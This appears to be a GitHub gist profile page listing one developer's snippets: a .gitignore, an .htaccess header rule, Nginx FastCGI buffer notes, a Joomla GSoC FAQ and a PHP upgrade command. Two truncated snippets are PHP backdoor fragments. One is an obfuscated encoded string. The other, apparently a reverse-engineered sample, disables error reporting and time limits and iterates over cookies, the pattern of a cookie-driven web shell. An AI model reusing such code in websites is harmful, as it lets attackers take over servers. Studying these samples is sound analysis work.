Skip to content

Instantly share code, notes, and snippets.

View fititnt's full-sized avatar
💭
"The difficult we do immediately; the impossible takes a little longer"

Emerson Rocha fititnt

💭
"The difficult we do immediately; the impossible takes a little longer"
View GitHub Profile
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(J(){7(1e.3N)L w=1e.3N;L E=1e.3N=J(a,b){K 1B E.2l.4T(a,b)};7(1e.$)L D=1e.$;1e.$=E;L u=/^[^<]*(<(.|\\s)+>)[^>]*$|^#(\\w+)$/;L G=/^.[^:#\\[\\.]*$/;E.1n=E.2l={4T:J(d,b){d=d||T;7(d.15){6[0]=d;6.M=1;K 6}N 7(1o d=="25"){L c=u.2O(d);7(c&&(c[1]||!b)){7(c[1])d=E.4a([c[1]],b);N{L a=T.5J(c[3]);7(a)7(a.2w!=c[3])K E().2s(d);N{6[0]=a;6.M=1;K 6}N d=[]}}N K 1B E(b).2s(d)}N 7(E.1q(d))K 1B E(T)[E.1n.21?"21":"3U"](d);K 6.6E(d.1k==1M&&d||(d.5h||d.M&&d!=1e&&!d.15&&d[0]!=10&&d[0].15)&&E.2I(d)||[d])},5h:"1.2.3",87:J(){K 6.M},M:0,22:J(a){K a==10?E.2I(6):6[a]},2F:J(b){L a=E(b);a.54=6;K a},6E:J(a){6.M=0;1M.2l.1g.1i(6,a);K 6},R:J(a,b){K E.R(6,a,b)},4X:J(b){L a=-1;6.R(J(i){7(6==b)a=i});K a},1J:J(c,a,b){L d=c;7(c.1k=
@fititnt
fititnt / .gitignore
Created October 31, 2015 18:01 — forked from octocat/.gitignore
Some common .gitignore configurations
# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
# Packages #
@fititnt
fititnt / .htaccess
Last active December 4, 2015 21:44
.htaccess: set X-Robots-Tag noindex,nofollow for non-varnish requests (hide from search engines)
# Set X-Robots-Tag noindex,nofollow if not requested by Varnish-cache
# e.g. can hide content from Google if both varnish and apache are open
# Apache 2.4+
<If "-z %{HTTP:X-VARNISH}">
Header set X-Robots-Tag noindex,nofollow
</If>
@fititnt
fititnt / cdn.ceue.eng.br_2010-12-6_bkp.tar.gz.lista-de-diretorios.txt
Created December 12, 2015 05:31
Listagem de conteúdo do arquivo cdn.ceue.eng.br_2010-12-6_bkp.tar.gz
.
├── ceb
│   ├── 2009
│   │   ├── 2009.12.22
│   │   │   ├── editado-pelo-dce
│   │   │   │   └── ceb.mp4
│   │   │   └── sem-edicao
│   │   │   ├── 22122009152.mp4
│   │   │   ├── 22122009153.mp4
│   │   │   ├── 22122009154.mp4
@fititnt
fititnt / README.md
Created December 23, 2015 06:38 — forked from magnetikonline/README.md
Setting Nginx FastCGI response buffer sizes.

Nginx FastCGI response buffer sizes

By default when Nginx starts receiving a response from a FastCGI backend (such as PHP-FPM) it will buffer the response in memory before delivering it to the client. Any response larger than the set buffer size is saved to a temporary file on disk. This process is also explained at the Nginx ngx_http_fastcgi_module page document page.

Since disk is slow and memory is fast the aim is to get as many FastCGI responses passing through memory only. On the flip side we don't want to set an excessively large buffer as they are created and sized on a per request basis (i.e. it's not shared memory).

The related Nginx options are:

# df -h
Sist. Arq. Tam. Usado Disp. Uso% Montado em
/dev/mapper/centos_xxxdnn3016-root 50G 39G 12G 77% /
devtmpfs 5,8G 0 5,8G 0% /dev
tmpfs 5,8G 0 5,8G 0% /dev/shm
tmpfs 5,8G 321M 5,5G 6% /run
tmpfs 5,8G 0 5,8G 0% /sys/fs/cgroup
tmpfs 12G 87M 12G 1% /ramdisk
/dev/sda1 492M 231M 261M 48% /boot
/dev/mapper/centos_xxxdnn3016-home 501G 9,3G 491G 2% /home
<?php $ljwlpffp = 'sdXA x27K6< x7fw6*3qj%>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x x272qj%6<^#zsfvr# x5cq%7/7#@}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt03of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd27pd%6<C x27pd%6|6.7x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27 x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6!%t2w>#]y74]273]y76]252]y85]256]},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;6+99386c6f+9f5d816:+bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)s*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<51L3]84]y31M6]y3e]81#/#7e:5594f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]eu{66~67<&w6<*&7-#o]s<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.)%bbT-%bT-%hW~%fdy)##-!#
@fititnt
fititnt / joomla-gsoc-2016-fititnt.md
Last active March 15, 2016 19:36
Joomla no Google Summer of Code 2016 - Anotações de perguntas feitas por @fititnt, em português

Joomla no Google Summer of Code 2016 - FAQ por @fititnt, em português

Nota importante: as informações aqui fora feitas por um mentor, de um dos projetos ("Project XIV: Improve Joomla front and back-end performance through better compatibility with reverse proxies and PageSpeed Module"), que fazem parte do GSoC em 2016. Elas podem ser imprecisas, ou mesmo erradas, dentro das limitações de conhecimento de seu autor. As opiniões aqui emitidas representam única e exclusivamente opinião do autor, não são endorsadas pelo projeto Joomla, nem pelo Google.

Links pertinentes

@fititnt
fititnt / css49--fiti-reveng.php
Last active March 10, 2016 00:58
css49--fiti-reveng.php
<?php
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
foreach ($_COOKIE as $item)
@fititnt
fititnt / shell.sh
Created March 27, 2016 01:16
Upgrade from PHP 5.x to PHP 7.0 on Centos with Webtatic.com packages
# replace PHP 5.6 with PHP 7.0, with only one command, yum swap
yum swap -- remove php56w-cli php56w-fpm php56w-xml php56w-pdo php56w-mysql php56w-mcrypt php56w-mbstring php56w-gd php56w-common php56w-mysql php56w-bcmath php56w-opcache -- install php70w-cli php70w-fpm php70w-xml php70w-pdo php70w-mysql php70w-mcrypt php70w-mbstring php70w-gd php70w-common php70w-mysql php70w-bcmath php70w-opcache
# If you are using PHP-FPM, need start it again
systemctl start php-fpm